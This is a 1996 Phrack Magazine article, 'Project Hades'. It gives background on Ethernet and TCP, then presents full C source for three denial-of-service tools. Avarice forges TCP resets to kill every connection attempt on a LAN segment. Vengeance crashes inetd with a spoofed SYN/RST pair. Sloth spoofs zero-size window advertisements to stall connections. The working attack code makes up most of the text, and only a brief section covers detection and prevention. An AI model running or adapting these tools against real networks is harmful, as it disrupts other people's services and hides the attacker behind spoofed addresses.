1025 lines
36 KiB
Plaintext
1025 lines
36 KiB
Plaintext
.oO Phrack Magazine Oo.
|
|
|
|
Volume Seven, Issue Forty-Nine
|
|
|
|
File 07 of 16
|
|
|
|
[ Project Hades ]
|
|
|
|
Paper by daemon9 AKA route
|
|
sourcecode by daemon9
|
|
for Phrack Magazine
|
|
October 1996 Guild Productions, kid
|
|
|
|
comments to route@infonexus.com
|
|
|
|
|
|
--[ Introduction ]--
|
|
|
|
|
|
More explorations of weaknesses in the most widely used transport
|
|
protocol on the Internet. Put your mind at rest fearful reader! The
|
|
vulnerabilities outlined here are nowhere near the devastating nature of
|
|
Project Neptune/Poseidon.
|
|
|
|
Hades is the Greek god of the underworld; his kingdom is that of the
|
|
the Dead. Hades renown for being quite evil and twisted. He is also well
|
|
known for his TCP exploit code. Therefore, it seemed fitting to name this
|
|
project after him.
|
|
|
|
BTW, for this code to work (as with much of my previous code) your
|
|
kernel must be patched to be able to spoof packets. DO NOT MAIL ME to ask how
|
|
to do it.
|
|
|
|
|
|
--[ Overview ]--
|
|
|
|
|
|
Section I. Ethernet background information
|
|
Section II. TCP background information
|
|
Section III. Avarice
|
|
Section IV. Vengeance
|
|
Section V. Sloth
|
|
Section VI. Discussion, Detection, and Prevention
|
|
|
|
(Note that readers unfamiliar with the TCP/IP protocol suite may wish to first
|
|
read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz)
|
|
|
|
|
|
Section I. Ethernet Background information
|
|
|
|
|
|
Ethernet is a multi-drop, connectionless, unreliable link layer
|
|
protocol. It (IEEE 802.3 Ethernet is the version I refer to) is the
|
|
link-layer protocol most LANs are based upon. It is multidrop; each
|
|
device on the ethernet shares the media (and, consequently, the bandwidth)
|
|
with every other device. It is connectionless; every frame is sent
|
|
independently of the previous one and next one. It is unreliable; frames are
|
|
not acknowledged by the other end. If a frame is received that doesn't pass
|
|
the checksum, it is silently discarded. It is a link-layer protocol that sits
|
|
underneath the network protocol (IP) and above the physical interface (varies,
|
|
but often CAT3/5 UTP).
|
|
|
|
|
|
--[ Signaling and Encoding ]--
|
|
|
|
|
|
Standard 802.3 Ethernet signals at 10 mega-bits per second using
|
|
Manchester encoding to order bits on the wire. Manchester is a biphase
|
|
state-transition technique; to indicate a particular bit is on, a voltage
|
|
transition from low to high is used. To indicate a bit is off, a high to low
|
|
transition is used.
|
|
|
|
|
|
--[ Media Access ]--
|
|
|
|
|
|
Ethernet uses media contention to gain access to the shared wire. The
|
|
version of contention it uses is CSMA/CD (carrier sense multiple access /
|
|
collision detection). This simply means that ethernet supports multiple
|
|
devices on a shared network medium. Any device can send it's data whenever
|
|
it thinks the wire is clear. Collisions are detected (causing back-off and
|
|
retry) but not avoided. CSMA/CD algorithmically:
|
|
|
|
1. IF: the medium is idle -> transmit.
|
|
2. ELSE: the medium is busy -> wait and listen until idle -> transmit.
|
|
3. IF: collision is detected -> transmit jamming signal, cease all
|
|
transmission
|
|
4. IF: jamming signal is detected -> wait a random amount of time, goto 1
|
|
|
|
|
|
--[ Broadcast Medium ]--
|
|
|
|
|
|
Since it is CSMA/CD technology, ethernet has the wonderful property
|
|
that it hears everything on the network. Under normal circumstances, an
|
|
ethernet NIC will only capture and pass to the network layer packets that
|
|
boast it's own MAC (link-layer) address or a broadcast MAC address. However,
|
|
it is trivial to place an Ethernet card into promiscuous mode where it will
|
|
capture everything it hears, regardless to whom the frame was addressed.
|
|
|
|
It bears mentioning that bridges are used to divide an ethernet into
|
|
logically separate segments. A bridge (or bridging device such as a smart
|
|
hub) will not pass an ethernet frame from segment to segment unless the
|
|
addressed host lies on the disparate segment. This can reduce over-all
|
|
network load by reducing the amount of traffic on the wire.
|
|
|
|
|
|
Section II. TCP Background Information
|
|
|
|
|
|
TCP is a connection-oriented, reliable transport protocol. TCP is
|
|
responsible for hiding network intricacies from the upper layers. A
|
|
connection-oriented protocol implies that the two hosts participating in a
|
|
discussion must first establish a connection before data may be exchanged. In
|
|
TCP's case, this is done with the three-way handshake. Reliability can be
|
|
provided in a number of ways, but the only two we are concerned with are data
|
|
sequencing and acknowledgment. TCP assigns sequence numbers to every byte in
|
|
every segment and acknowledges all data bytes received from the other end.
|
|
(ACK's consume a sequence number, but are not themselves ACK'd. That would be
|
|
ludicrous.)
|
|
|
|
|
|
--[ TCP Connection Establishment ]--
|
|
|
|
|
|
In order to exchange data using TCP, hosts must establish a connection.
|
|
TCP establishes a connection in a 3 step process called the 3-way handshake.
|
|
If machine A is running a client program and wishes to connect to a server
|
|
program on machine B, the process is as follows:
|
|
|
|
fig(1)
|
|
|
|
1 A ---SYN---> B
|
|
|
|
2 A <---SYN/ACK--- B
|
|
|
|
3 A ---ACK---> B
|
|
|
|
|
|
At (1) the client is telling the server that it wants a connection.
|
|
This is the SYN flag's only purpose. The client is telling the server that
|
|
the sequence number field is valid, and should be checked. The client will
|
|
set the sequence number field in the TCP header to it's ISN (initial sequence
|
|
number). The server, upon receiving this segment (2) will respond with it's
|
|
own ISN (therefore the SYN flag is on) and an Acknowledgment of the clients
|
|
first segment (which is the client's ISN+1). The client then ACK's the
|
|
server's ISN (3). Now data transfer may take place.
|
|
|
|
|
|
--[ TCP Control Flags ]--
|
|
|
|
|
|
There are six TCP control flags.
|
|
|
|
SYN: Synchronize Sequence Numbers
|
|
The synchronize sequence numbers field is valid. This flag is only
|
|
valid during the 3-way handshake. It tells the receiving TCP to check the
|
|
sequence number field, and note it's value as the connection-initiator's
|
|
(usually the client) initial sequence number. TCP sequence numbers can
|
|
simply be thought of as 32-bit counters. They range from 0 to 4,294,967,295.
|
|
Every byte of data exchanged across a TCP connection (along with certain
|
|
flags) is sequenced. The sequence number field in the TCP header will contain
|
|
the sequence number of the *first* byte of data in the TCP segment.
|
|
|
|
ACK: Acknowledgment
|
|
The acknowledgment number field is valid. This flag is almost always
|
|
set. The acknowledgment number field in the TCP header holds the value of
|
|
the next *expected* sequence number (from the other side), and also
|
|
acknowledges *all* data (from the other side) up through this ACK number minus
|
|
one.
|
|
|
|
RST: Reset
|
|
Destroy the referenced connection. All memory structures are torn
|
|
down.
|
|
|
|
URG: Urgent
|
|
The urgent pointer is valid. This is TCP's way of implementing out
|
|
of band (OOB) data. For instance, in a telnet connection a `ctrl-c` on the
|
|
client side is considered urgent and will cause this flag to be set.
|
|
|
|
PSH: Push
|
|
The receiving TCP should not queue this data, but rather pass it to
|
|
the application as soon as possible. This flag should always be set in
|
|
interactive connections, such as telnet and rlogin.
|
|
|
|
FIN: Finish
|
|
The sending TCP is finished transmitting data, but is still open to
|
|
accepting data.
|
|
|
|
|
|
--[ Ports ]--
|
|
|
|
|
|
To grant simultaneous access to the TCP module, TCP provides a user
|
|
interface called a port. Ports are used by the kernel to identify network
|
|
processes. They are strictly transport layer entities. Together with an
|
|
IP address, a TCP port provides an endpoint for network communications. In
|
|
fact, at any given moment *all* Internet connections can be described by 4
|
|
numbers: the source IP address and source port and the destination IP
|
|
address and destination port. Servers are bound to 'well-known' ports so
|
|
that they may be located on a standard port on different systems.
|
|
For example, the telnet daemon sits on TCP port 23.
|
|
|
|
|
|
Section III. Avarice
|
|
|
|
|
|
Avarice is a SYN,RST generator. It is designed to disallow any
|
|
TCP traffic on the ethernet segment upon which it listens. It works by
|
|
listening for the 3-way handshake procedure to begin, and then immediately
|
|
resetting it. The result is that no TCP based connections can be negotiated,
|
|
and therefore no TCP traffic can flow. This version sits on a host, puts the
|
|
NIC into promiscuous mode and listens for connection-establishment requests.
|
|
When it hears one, it immediately generates a forged RST packet and sends it
|
|
back to the client. If the forged RST arrives in time, the client will quit
|
|
with a message like:
|
|
|
|
telnet: Unable to connect to remote host: Connection refused
|
|
|
|
For the client to accept the RST, it must think it is an actual response from
|
|
the server. This requires 3 pieces of information: IP address, TCP port, and
|
|
TCP acknowledgment number. All of this information is gleaned from the
|
|
original SYN packet: the IP address of the destination host, the TCP port
|
|
of the listening process, and the clients ISN (the acknowledgment number in
|
|
the RST packet is the clients ISN+1, as SYN's consume a sequence number).
|
|
|
|
This program has a wide range of effectiveness. Speed is essential
|
|
for avarice to quell all TCP traffic on a segment. We are basically racing
|
|
the kernel. OS kernels tend to be rather efficient at building packets. If
|
|
run on a fast machine, with a fast kernel, it's kill rate is rather high.
|
|
I have seen kill-rates as high as 98% (occasionally a few slip through) on
|
|
a fast machine. Consequently, if run on a slow machine, with a slow kernel, it
|
|
will likely be useless. If the RSTs arrive too late, they will be dropped by
|
|
the client, as the ACK number will be too low for the referenced connection.
|
|
Sure, the program could send, say, 10 packets, each with progressively higher
|
|
ACK numbers, but hey, this is a lame program...
|
|
|
|
|
|
Section IV. Vengeance
|
|
|
|
|
|
Vengeance is an inetd killer. On affected systems this program will
|
|
cause inetd to become unstable and die after the next connection attempt.
|
|
It sends a connection-request immediately followed by a RST to an internal
|
|
inetd managed service, such as time or daytime. Inetd is now unstable and
|
|
will die after the next attempt at a connection. Simple. Dumb. Not eleet.
|
|
(This inetd bug should be fixed or simply not present in newer inetd code.)
|
|
|
|
I did not add code to make the legitimate connection that would kill
|
|
inetd to this simple little program for 2 reasons. 1) It's simply not worth
|
|
the complexity to add sequence number prediction to create a spoofed 3-way
|
|
handshake. This program is too dinky. 2) Maybe the attacker would want
|
|
to leave inetd in a unstable state and let some legitimate user come along and
|
|
kill it. Who knows. Who cares. Blah. I wash my hands of the whole affair.
|
|
|
|
|
|
Section V. Sloth
|
|
|
|
|
|
"Make your ethernet feel like a lagged 28.8 modem link!"
|
|
|
|
Sloth is an experiment. It is an experiment in just how lame IP
|
|
spoofing can get. It works much the same way avarice does, except it sends
|
|
forged TCP window advertisements. By default Sloth will spoof zero-size
|
|
window advertisements which will have the effect of slowing interactive
|
|
traffic considerably. In fact, in some instances, it will freeze a
|
|
connection all together. This is because when a TCP receives a zero-size
|
|
window advertisement, it will stop sending data, and start sending window
|
|
probes (a window probe is nothing more than an ACK with one byte of
|
|
data) to see if the window size has increased. Since window probes are, in
|
|
essence, nothing more than acknowledgements, they can get lost. Because of
|
|
this fact, TCP implements a timer to cordinate the repeated sending of these
|
|
packets. Window probes are sent according to the persist timer (a 500ms
|
|
timer) which is calculated by TCP's exponential backoff algorithm. Sloth
|
|
will see each window probe, and spoof a 0-size window to the sender. This
|
|
all works out to cause mass mayhem, and makes it difficult for either TCP to
|
|
carry on a legitimate conversation.
|
|
|
|
Sloth, like avarice, is only effective on faster machines. It also
|
|
only works well with interactive traffic.
|
|
|
|
|
|
Section VI. Discussion, Detection, and Prevention
|
|
|
|
|
|
Avarice is simply a nasty program. What more do you want from me?
|
|
Detection? Detection would require an ounce of clue. Do FTP, SMTP, HTTP,
|
|
POP, telnet, etc all suddenly break at the same time on every machine on
|
|
the LAN? Could be this program. Break out the sniffer. Monitor the network
|
|
and look for the machine that generating the RSTs. This version of the program
|
|
does not spoof its MAC address, so look for that. To really prevent this
|
|
attack, add cryptographic authentication to the TCP kernels on your machines.
|
|
|
|
Vengeance is a wake-up call. If you haven't patched your inetd to be
|
|
resistant to this attack, you should now. If your vendor hasn't been
|
|
forthcoming with a patch, they should now. Detection is using this
|
|
program. Prevention is a patch. Prevention is disabling the internal inetd
|
|
services.
|
|
|
|
Sloth can be detected and dealt with in much the same way as avarice.
|
|
|
|
You may have noticed that these programs are named after three of
|
|
the Seven Deadly Sins. You may be wondering if that implies that there will
|
|
be four more programs of similar ilk. Well, STOP WONDERING. The answer is
|
|
NO. I am officially *out* of the D.O.S. business. I am now putting my efforts
|
|
towards more productive ventures. Next issue, a session jacker.
|
|
|
|
|
|
This project made possible by a grant from the Guild Corporation.
|
|
|
|
|
|
-------------------------------8<-------cut-me-loose--------------------------
|
|
|
|
|
|
/*
|
|
The Hades Project
|
|
Explorations in the Weakness of TCP
|
|
SYN -> RST generator
|
|
(avarice)
|
|
v. 1.0
|
|
|
|
daemon9/route/infinity
|
|
|
|
October 1996 Guild productions
|
|
|
|
comments to route@infonexus.com
|
|
|
|
|
|
This coding project made possible by a grant from the Guild corporation
|
|
|
|
*/
|
|
|
|
#include "lnw.h"
|
|
|
|
void main(){
|
|
|
|
void reset(struct iphdr *,struct tcphdr *,int);
|
|
|
|
struct epack{ /* Generic Ethernet packet w/o data payload */
|
|
struct ethhdr eth; /* Ethernet Header */
|
|
struct iphdr ip; /* IP header */
|
|
struct tcphdr tcp; /* TCP header */
|
|
}epack;
|
|
|
|
int sock,shoe,dlen;
|
|
struct sockaddr dest;
|
|
struct iphdr *iphp;
|
|
struct tcphdr *tcphp;
|
|
|
|
if(geteuid()||getuid()){
|
|
fprintf(stderr,"UID or EUID of 0 needed...\n");
|
|
exit(0);
|
|
}
|
|
sock=tap(DEVICE); /* Setup the socket and device */
|
|
|
|
/* Could use the SOCK_PACKET but building Ethernet headers would
|
|
require more time overhead; the kernel can do it quicker then me */
|
|
if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
|
|
perror("\nHmmm.... socket problems");
|
|
exit(1);
|
|
}
|
|
shadow(); /* Run as a daemon */
|
|
|
|
iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);
|
|
tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);
|
|
|
|
/* Network reading loop / RSTing portion */
|
|
while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn)reset(iphp,tcphp,shoe);
|
|
}
|
|
|
|
|
|
/*
|
|
* Build a packet and send it off.
|
|
*/
|
|
|
|
void reset(iphp,tcphp,shoe)
|
|
struct iphdr *iphp;
|
|
struct tcphdr *tcphp;
|
|
int shoe;
|
|
{
|
|
|
|
void dump(struct iphdr *,struct tcphdr *);
|
|
|
|
struct tpack{ /* Generic TCP packet w/o payload */
|
|
struct iphdr ip;
|
|
struct tcphdr tcp;
|
|
}tpack;
|
|
|
|
struct pseudo_header{ /* For TCP header checksum */
|
|
unsigned source_address;
|
|
unsigned dest_address;
|
|
unsigned char placeholder;
|
|
unsigned char protocol;
|
|
unsigned short tcp_length;
|
|
struct tcphdr tcp;
|
|
}pheader;
|
|
|
|
struct sockaddr_in sin; /* IP address information */
|
|
/* Setup the sin struct with addressing information */
|
|
sin.sin_family=AF_INET; /* Internet address family */
|
|
sin.sin_port=tcphp->dest; /* Source port */
|
|
sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */
|
|
|
|
/* Packet assembly begins here */
|
|
|
|
/* Fill in all the TCP header information */
|
|
|
|
tpack.tcp.source=tcphp->dest; /* 16-bit Source port number */
|
|
tpack.tcp.dest=tcphp->source; /* 16-bit Destination port */
|
|
tpack.tcp.seq=0; /* 32-bit Sequence Number */
|
|
tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1); /* 32-bit Acknowledgement Number */
|
|
tpack.tcp.doff=5; /* Data offset */
|
|
tpack.tcp.res1=0; /* reserved */
|
|
tpack.tcp.res2=0; /* reserved */
|
|
tpack.tcp.urg=0; /* Urgent offset valid flag */
|
|
tpack.tcp.ack=1; /* Acknowledgement field valid flag */
|
|
tpack.tcp.psh=0; /* Push flag */
|
|
tpack.tcp.rst=1; /* Reset flag */
|
|
tpack.tcp.syn=0; /* Synchronize sequence numbers flag */
|
|
tpack.tcp.fin=0; /* Finish sending flag */
|
|
tpack.tcp.window=0; /* 16-bit Window size */
|
|
tpack.tcp.check=0; /* 16-bit checksum (to be filled in below) */
|
|
tpack.tcp.urg_ptr=0; /* 16-bit urgent offset */
|
|
|
|
/* Fill in all the IP header information */
|
|
|
|
tpack.ip.version=4; /* 4-bit Version */
|
|
tpack.ip.ihl=5; /* 4-bit Header Length */
|
|
tpack.ip.tos=0; /* 8-bit Type of service */
|
|
tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */
|
|
tpack.ip.id=0; /* 16-bit ID field */
|
|
tpack.ip.frag_off=0; /* 13-bit Fragment offset */
|
|
tpack.ip.ttl=64; /* 8-bit Time To Live */
|
|
tpack.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
|
|
tpack.ip.check=0; /* 16-bit Header checksum (filled in below) */
|
|
tpack.ip.saddr=iphp->daddr; /* 32-bit Source Address */
|
|
tpack.ip.daddr=iphp->saddr; /* 32-bit Destination Address */
|
|
|
|
pheader.source_address=(unsigned)tpack.ip.saddr;
|
|
pheader.dest_address=(unsigned)tpack.ip.daddr;
|
|
pheader.placeholder=0;
|
|
pheader.protocol=IPPROTO_TCP;
|
|
pheader.tcp_length=htons(TCPHDR);
|
|
|
|
/* IP header checksum */
|
|
|
|
tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
|
|
|
|
/* TCP header checksum */
|
|
|
|
bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
|
|
tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
|
|
|
|
sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
|
|
#ifndef QUIET
|
|
dump(iphp,tcphp);
|
|
#endif
|
|
}
|
|
|
|
/*
|
|
* Dumps some info...
|
|
*/
|
|
|
|
void dump(iphp,tcphp)
|
|
struct iphdr *iphp;
|
|
struct tcphdr *tcphp;
|
|
{
|
|
fprintf(stdout,"Connection-establishment Attempt: ");
|
|
fprintf(stdout,"%s [%d] --> %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest));
|
|
fprintf(stdout,"Thwarting...\n");
|
|
}
|
|
|
|
-------------------------------8<-------cut-me-loose--------------------------
|
|
|
|
/*
|
|
The Hades Project
|
|
Explorations in the Weakness of TCP
|
|
Inetd Killer
|
|
(vengance)
|
|
v. 1.0
|
|
|
|
daemon9/route/infinity
|
|
|
|
October 1996 Guild productions
|
|
|
|
comments to route@infonexus.com
|
|
|
|
|
|
This coding project made possible by a grant from the Guild corporation
|
|
*/
|
|
|
|
|
|
#include "lnw.h"
|
|
|
|
void main()
|
|
{
|
|
|
|
void s3nd(int,int,unsigned,unsigned short,unsigned);
|
|
void usage(char *);
|
|
unsigned nameResolve(char *);
|
|
|
|
int sock,mode,i=0;
|
|
char buf[BUFSIZE];
|
|
unsigned short port;
|
|
unsigned target=0,source=0;
|
|
char werd[]={"\n\n\n\nHades is a Guild Corporation Production. c.1996\n\n"};
|
|
|
|
if(geteuid()||getuid()){
|
|
fprintf(stderr,"UID or EUID of 0 needed...\n");
|
|
exit(0);
|
|
}
|
|
|
|
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
|
|
perror("\nHmmm.... socket problems");
|
|
exit(1);
|
|
}
|
|
|
|
printf(werd);
|
|
|
|
printf("\nEnter target address-> ");
|
|
fgets(buf,sizeof(buf)-1,stdin);
|
|
if(!buf[1])exit(0);
|
|
while(buf[i]!='\n')i++; /* Strip the newline */
|
|
buf[i]=0;
|
|
target=nameResolve(buf);
|
|
bzero((char *)buf,sizeof(buf));
|
|
|
|
printf("\nEnter source address to spoof-> ");
|
|
fgets(buf,sizeof(buf)-1,stdin);
|
|
if(!buf[1])exit(0);
|
|
while(buf[i]!='\n')i++; /* Strip the newline */
|
|
buf[i]=0;
|
|
source=nameResolve(buf);
|
|
bzero((char *)buf,sizeof(buf));
|
|
|
|
printf("\nEnter target port (should be 13, 37, or some internal service)-> ");
|
|
fgets(buf,sizeof(buf)-1,stdin);
|
|
if(!buf[1])exit(0);
|
|
port=(unsigned short)atoi(buf);
|
|
|
|
fprintf(stderr,"Attempting to upset inetd...\n\n");
|
|
|
|
s3nd(sock,0,target,port,source); /* SYN */
|
|
s3nd(sock,1,target,port,source); /* RST */
|
|
|
|
fprintf(stderr,"At this point, if the host is vulnerable, inetd is unstable.\nTo verfiy: `telnet target.com {internal service port #}`. Do this twice.\nInetd should allow the first connection, but send no data, then die.\nThe second telnet will verify t
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
his.\n");
|
|
}
|
|
|
|
/*
|
|
* Build a packet and send it off.
|
|
*/
|
|
|
|
void s3nd(int sock,int mode,unsigned target,unsigned short port,unsigned source){
|
|
|
|
struct pkt{
|
|
struct iphdr ip;
|
|
struct tcphdr tcp;
|
|
}packet;
|
|
|
|
struct pseudo_header{ /* For TCP header checksum */
|
|
unsigned source_address;
|
|
unsigned dest_address;
|
|
unsigned char placeholder;
|
|
unsigned char protocol;
|
|
unsigned short tcp_length;
|
|
struct tcphdr tcp;
|
|
}pseudo_header;
|
|
|
|
struct sockaddr_in sin; /* IP address information */
|
|
/* Setup the sin struct with addressing information */
|
|
sin.sin_family=AF_INET; /* Internet address family */
|
|
sin.sin_port=666; /* Source port */
|
|
sin.sin_addr.s_addr=target; /* Dest. address */
|
|
|
|
/* Packet assembly begins here */
|
|
|
|
/* Fill in all the TCP header information */
|
|
|
|
packet.tcp.source=htons(666); /* 16-bit Source port number */
|
|
packet.tcp.dest=htons(port); /* 16-bit Destination port */
|
|
if(mode)packet.tcp.seq=0; /* 32-bit Sequence Number */
|
|
else packet.tcp.seq=htonl(10241024);
|
|
if(!mode)packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
|
|
else packet.tcp.ack_seq=htonl(102410000);
|
|
packet.tcp.doff=5; /* Data offset */
|
|
packet.tcp.res1=0; /* reserved */
|
|
packet.tcp.res2=0; /* reserved */
|
|
packet.tcp.urg=0; /* Urgent offset valid flag */
|
|
packet.tcp.ack=0; /* Acknowledgement field valid flag */
|
|
packet.tcp.psh=0; /* Push flag */
|
|
if(!mode)packet.tcp.rst=0; /* Reset flag */
|
|
else packet.tcp.rst=1;
|
|
if(!mode)packet.tcp.syn=1; /* Synchronize sequence numbers flag */
|
|
else packet.tcp.syn=0;
|
|
packet.tcp.fin=0; /* Finish sending flag */
|
|
packet.tcp.window=htons(512); /* 16-bit Window size */
|
|
packet.tcp.check=0; /* 16-bit checksum (to be filled in below) */
|
|
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
|
|
|
|
/* Fill in all the IP header information */
|
|
|
|
packet.ip.version=4; /* 4-bit Version */
|
|
packet.ip.ihl=5; /* 4-bit Header Length */
|
|
packet.ip.tos=0; /* 8-bit Type of service */
|
|
packet.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */
|
|
packet.ip.id=0; /* 16-bit ID field */
|
|
packet.ip.frag_off=0; /* 13-bit Fragment offset */
|
|
packet.ip.ttl=64; /* 8-bit Time To Live */
|
|
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
|
|
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
|
|
packet.ip.saddr=source; /* 32-bit Source Address */
|
|
packet.ip.daddr=target; /* 32-bit Destination Address */
|
|
|
|
pseudo_header.source_address=(unsigned)packet.ip.saddr;
|
|
pseudo_header.dest_address=(unsigned)packet.ip.daddr;
|
|
pseudo_header.placeholder=0;
|
|
pseudo_header.protocol=IPPROTO_TCP;
|
|
pseudo_header.tcp_length=htons(TCPHDR);
|
|
|
|
/* IP header checksum */
|
|
|
|
packet.ip.check=in_cksum((unsigned short *)&packet.ip,IPHDR);
|
|
|
|
/* TCP header checksum */
|
|
|
|
bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,IPHDR);
|
|
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,TCPHDR+12);
|
|
|
|
sendto(sock,&packet,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
|
|
}
|
|
|
|
-------------------------------8<-------cut-me-loose--------------------------
|
|
|
|
/*
|
|
The Hades Project
|
|
Explorations in the Weakness of TCP
|
|
TCP Window Starvation
|
|
(sloth)
|
|
v. 1.0
|
|
|
|
daemon9/route/infinity
|
|
|
|
October 1996 Guild productions
|
|
|
|
comments to route@infonexus.com
|
|
|
|
|
|
This coding project made possible by a grant from the Guild corporation
|
|
|
|
*/
|
|
|
|
|
|
#include "lnw.h"
|
|
|
|
/* experiment with this value. Different things happen with different sizes */
|
|
|
|
#define SLOTHWINDOW 0
|
|
|
|
void main(){
|
|
|
|
void sl0th(struct iphdr *,struct tcphdr *,int);
|
|
|
|
struct epack{ /* Generic Ethernet packet w/o data payload */
|
|
struct ethhdr eth; /* Ethernet Header */
|
|
struct iphdr ip; /* IP header */
|
|
struct tcphdr tcp; /* TCP header */
|
|
}epack;
|
|
|
|
int sock,shoe,dlen;
|
|
struct sockaddr dest;
|
|
struct iphdr *iphp;
|
|
struct tcphdr *tcphp;
|
|
|
|
if(geteuid()||getuid()){
|
|
fprintf(stderr,"UID or EUID of 0 needed...\n");
|
|
exit(0);
|
|
}
|
|
sock=tap(DEVICE); /* Setup the socket and device */
|
|
|
|
/* Could use the SOCK_PACKET but building Ethernet headers would
|
|
require more time overhead; the kernel can do it quicker then me */
|
|
if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
|
|
perror("\nHmmm.... socket problems");
|
|
exit(1);
|
|
}
|
|
shadow(); /* Run as a daemon */
|
|
|
|
iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);
|
|
tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);
|
|
|
|
/* Network reading loop */
|
|
while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp->protocol==IPPROTO_TCP&&tcphp->ack)sl0th(iphp,tcphp,shoe);
|
|
}
|
|
|
|
|
|
/*
|
|
* Build a packet and send it off.
|
|
*/
|
|
|
|
void sl0th(iphp,tcphp,shoe)
|
|
struct iphdr *iphp;
|
|
struct tcphdr *tcphp;
|
|
int shoe;
|
|
{
|
|
|
|
void dump(struct iphdr *,struct tcphdr *);
|
|
|
|
struct tpack{ /* Generic TCP packet w/o payload */
|
|
struct iphdr ip;
|
|
struct tcphdr tcp;
|
|
}tpack;
|
|
|
|
struct pseudo_header{ /* For TCP header checksum */
|
|
unsigned source_address;
|
|
unsigned dest_address;
|
|
unsigned char placeholder;
|
|
unsigned char protocol;
|
|
unsigned short tcp_length;
|
|
struct tcphdr tcp;
|
|
}pheader;
|
|
|
|
struct sockaddr_in sin; /* IP address information */
|
|
/* Setup the sin struct with addressing information */
|
|
sin.sin_family=AF_INET; /* Internet address family */
|
|
sin.sin_port=tcphp->dest; /* Source port */
|
|
sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */
|
|
|
|
/* Packet assembly begins here */
|
|
|
|
/* Fill in all the TCP header information */
|
|
|
|
tpack.tcp.source=tcphp->dest; /* 16-bit Source port number */
|
|
tpack.tcp.dest=tcphp->source; /* 16-bit Destination port */
|
|
tpack.tcp.seq=htonl(ntohl(tcphp->ack_seq)); /* 32-bit Sequence Number */
|
|
tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)); /* 32-bit Acknowledgement Number */
|
|
tpack.tcp.doff=5; /* Data offset */
|
|
tpack.tcp.res1=0; /* reserved */
|
|
tpack.tcp.res2=0; /* reserved */
|
|
tpack.tcp.urg=0; /* Urgent offset valid flag */
|
|
tpack.tcp.ack=1; /* Acknowledgement field valid flag */
|
|
tpack.tcp.psh=0; /* Push flag */
|
|
tpack.tcp.rst=0; /* Reset flag */
|
|
tpack.tcp.syn=0; /* Synchronize sequence numbers flag */
|
|
tpack.tcp.fin=0; /* Finish sending flag */
|
|
tpack.tcp.window=htons(SLOTHWINDOW); /* 16-bit Window size */
|
|
tpack.tcp.check=0; /* 16-bit checksum (to be filled in below) */
|
|
tpack.tcp.urg_ptr=0; /* 16-bit urgent offset */
|
|
|
|
/* Fill in all the IP header information */
|
|
|
|
tpack.ip.version=4; /* 4-bit Version */
|
|
tpack.ip.ihl=5; /* 4-bit Header Length */
|
|
tpack.ip.tos=0; /* 8-bit Type of service */
|
|
tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */
|
|
tpack.ip.id=0; /* 16-bit ID field */
|
|
tpack.ip.frag_off=0; /* 13-bit Fragment offset */
|
|
tpack.ip.ttl=64; /* 8-bit Time To Live */
|
|
tpack.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
|
|
tpack.ip.check=0; /* 16-bit Header checksum (filled in below) */
|
|
tpack.ip.saddr=iphp->daddr; /* 32-bit Source Address */
|
|
tpack.ip.daddr=iphp->saddr; /* 32-bit Destination Address */
|
|
|
|
pheader.source_address=(unsigned)tpack.ip.saddr;
|
|
pheader.dest_address=(unsigned)tpack.ip.daddr;
|
|
pheader.placeholder=0;
|
|
pheader.protocol=IPPROTO_TCP;
|
|
pheader.tcp_length=htons(TCPHDR);
|
|
|
|
/* IP header checksum */
|
|
|
|
tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
|
|
|
|
/* TCP header checksum */
|
|
|
|
bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
|
|
tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
|
|
|
|
sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
|
|
#ifndef QUIET
|
|
dump(iphp,tcphp);
|
|
#endif
|
|
}
|
|
|
|
/*
|
|
* Dumps some info...
|
|
*/
|
|
|
|
void dump(iphp,tcphp)
|
|
struct iphdr *iphp;
|
|
struct tcphdr *tcphp;
|
|
{
|
|
fprintf(stdout,"Hmm... I smell an ACK: ");
|
|
fprintf(stdout,"%s [%d] --> %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest));
|
|
fprintf(stdout,"let's slow things down a bit\n");
|
|
}
|
|
|
|
|
|
-------------------------------8<-------cut-me-loose--------------------------
|
|
|
|
|
|
/*
|
|
Basic Linux Networking Header Information. v1.0
|
|
|
|
